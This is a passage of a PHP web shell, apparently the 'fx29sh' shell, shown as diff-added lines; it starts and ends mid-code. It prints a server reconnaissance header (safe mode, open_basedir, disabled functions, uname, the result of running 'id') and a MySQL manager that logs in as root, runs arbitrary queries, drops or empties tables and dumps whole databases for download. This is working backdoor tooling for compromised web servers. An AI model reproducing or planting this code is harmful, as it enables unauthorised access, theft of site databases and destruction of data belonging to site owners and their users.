!in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} + if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} + if (!function_exists("mysql_dump")) { + function mysql_dump($set) { + global $sh_ver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) { + //Retrieve tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = " + # Dumped by ".$sh_name." + # + # Host settings: + # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." + # Date: ".date("d.m.Y H:i:s")." + # DB: \"".$db."\" + #---------------------------------------------------------"; + $c = count($onlytabs); + foreach($tabs as $tab) { + if ((in_array($tab,$onlytabs)) or (!$c)) { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + //Receieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + //Receieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; + } + } + if (!function_exists("mysql_buildwhere")) { + function mysql_buildwhere($array,$sep=" and",$functs=array()) { + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; + } + } + if (!function_exists("mysql_fetch_all")) { + function mysql_fetch_all($query,$sock) { + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; + } + } + if (!function_exists("mysql_smarterror")) { + function mysql_smarterror($type,$sock) { + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; + } + } + if (!function_exists("mysql_query_form")) { + function mysql_query_form() { + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) { + echo "<table border=0><tr><td><form name=\"fx29sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} + } + } + if (!function_exists("mysql_create_db")) { + function mysql_create_db($db,$sock="") { + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} + } + } + if (!function_exists("mysql_query_parse")) { + function mysql_query_parse($query) { + $query = trim($query); + $arr = explode (" ",$query); + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) { + foreach($arr as $k=>$v) { + if (strtoupper($v) == "LIMIT") { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} + } + } + if ($act == "gofile") { + if (is_dir($f)) { $act = "ls"; $d = $f; } + else { $act = "f"; $d = dirname($f); $f = basename($f); } + } + ## HEADERS ## + @ob_start(); + @ob_implicit_flush(0); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", FALSE); + header("Pragma: no-cache"); + if (empty($tmpdir)) { + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} + } + $tmpdir = realpath($tmpdir); + $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); + if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} + if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} + else {$tmpdir_logs = realpath($tmpdir_logs);} + $sort = htmlspecialchars($sort); + if (empty($sort)) {$sort = $sort_default;} + $sort[1] = strtolower($sort[1]); + $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); + if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} + $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); + @ini_set("highlight.bg",$highlight_bg); + @ini_set("highlight.comment",$highlight_comment); + @ini_set("highlight.default",$highlight_default); + @ini_set("highlight.html",$highlight_html); + @ini_set("highlight.keyword",$highlight_keyword); + @ini_set("highlight.string",$highlight_string); + if (!is_array($actbox)) { $actbox = array(); } + $dspact = $act = htmlspecialchars($act); + $disp_fullpath = $ls_arr = $notls = null; + $ud = @urlencode($d); + if (empty($d)) {$d = realpath(".");} + elseif(realpath($d)) {$d = realpath($d);} + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $d = str_replace("\\\\","\\",$d); + $dispd = htmlspecialchars($d); + $safemode = safemode(); + if ($safemode) { + $hsafemode = "<font color=#3366FF><b>SAFE MODE IS ON</b></font>"; + $safemodeexecdir = @ini_get("safe_mode_exec_dir"); + } + else { $hsafemode = "<font color=#FF9900><b>SAFE MODE IS OFF</b></font>"; } + $v = @ini_get("open_basedir"); + if ($v or strtolower($v) == "on") { + $openbasedir = TRUE; + $hopenbasedir = "<font color=red>".$v."</font>"; + } + else { + $openbasedir = FALSE; + $hopenbasedir = "<font color=green>OFF (not secure)</font>"; + } + +################## +##[ HTML START ]## +################## +function srv_info($title,$contents) { + echo "<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n"; +} +echo htmlhead($hsafemode); +echo "<table id=pagebar>"; +echo "<tr><td colspan=2>\n"; +echo "<div class=fleft>$hsafemode</div>\n"; +echo "<div class=fright>"; +echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".@gethostbyname($_SERVER["HTTP_HOST"])."\">".@gethostbyname($_SERVER["HTTP_HOST"])."</a> ". + "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".$_SERVER["REMOTE_ADDR"]."\">".$_SERVER["REMOTE_ADDR"]."</a> ". + ($win?"Drives: ".disp_drives($d,$surl):""); +echo "</div>\n</td></tr>\n"; +echo "<tr><td width=50%>\n"; +echo "<table class=info>\n"; +srv_info("Software","".$DISP_SERVER_SOFTWARE); +srv_info("Uname",php_uname()); +srv_info("User",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : fx29exec("id")); +echo "</table></td>\n". + "<td width=50%>\n"; +echo "<table class=info>\n"; +srv_info("Freespace",disp_freespace($d)); +echo "</table></td></tr>\n"; +echo "<tr><td colspan=2>\n"; +echo get_status(); +echo "</td></tr>\n"; +echo "<tr><td colspan=2>\n"; +echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."<br>\n" : ""; +echo showdisfunc() ? "DisFunc: ".showdisfunc()."\n" : ""; +echo "</td></tr>\n"; +echo "<tr><td colspan=2 id=mainmenu>\n"; +if (count($quicklaunch2) > 0) { + foreach($quicklaunch2 as $item) { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) { + $a = explode(DIRECTORY_SEPARATOR,$d); + unset($a[count($a)-2]); + $v = join(DIRECTORY_SEPARATOR,$a); + } + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n"; + } +} +echo "</td>\n". + "<tr><td colspan=2 id=mainmenu>\n"; +if (count($quicklaunch1) > 0) { + foreach($quicklaunch1 as $item) { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) { + $a = explode(DIRECTORY_SEPARATOR,$d); + unset($a[count($a)-2]); + $v = join(DIRECTORY_SEPARATOR,$a); + } + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n"; + } +} +echo "</td></tr>\n<tr><td colspan=2>"; +echo "<p class=fleft>\n"; +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) { + $t = ""; $j = 0; + foreach ($e as $r) { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) { break; } + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\n"; + $i++; +} +echo " - "; +if (is_writable($d)) { + $wd = TRUE; + $wdt = "<font color=#00FF00>[OK]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else { + $wd = FALSE; + $wdt = "<font color=red>[Read-Only]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +echo "\n</p>\n"; +?> +<div class=fright> +<form method="POST"><input type=hidden name=act value="ls"> +Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"> +</form> +</div> +</td></tr></table> +<?php +/***********************/ +/** INFORMATION TABLE **/ +/***********************/ +echo "<table id=maininfo><tr><td width=\"100%\">\n"; +if ($act == "") { $act = $dspact = "ls"; } +if ($act == "sql") { + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>". + "<table>". + "<tr><td width=\"100%\" colspan=2 class=barheader>"; + if ($sql_server) { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo ".: SQL Manager :.<br>"; + if (!$sql_sock) { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "Can't connect! ".$err;} + } + else { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + } + echo "</td></tr><tr>"; + if (!$sql_sock) { + echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">"; + echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>"; + } + else { + //Start left panel + if (!empty($sql_db)) { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade> + <?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade> + <?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"> + <?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form> + <?php + } + //End left panel + echo "</td><td width=\"100%\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") { + if ($sql_tbl_insert_radio == 1) { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b> + <form action="<?php echo $surl; ?>"> + <input type="hidden" name="act" value="sql"> + <input type="hidden" name="sql_act" value="newtbl"> + <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> + <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> + <input type="text" name="sql_newtbl" size="20"> + <input type="submit" value="Create"> + </form></td> + <td width="30%" height="1"><b>Dump DB:</b> + <form action="<?php echo $surl; ?>"> + <input type="hidden" name="act" value="sql"> + <input type="hidden" name="sql_act" value="dump"> + <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table> + <?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) { + echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") { + if (empty($submit)) { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) { + if (!empty($sql_tbl)) { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a 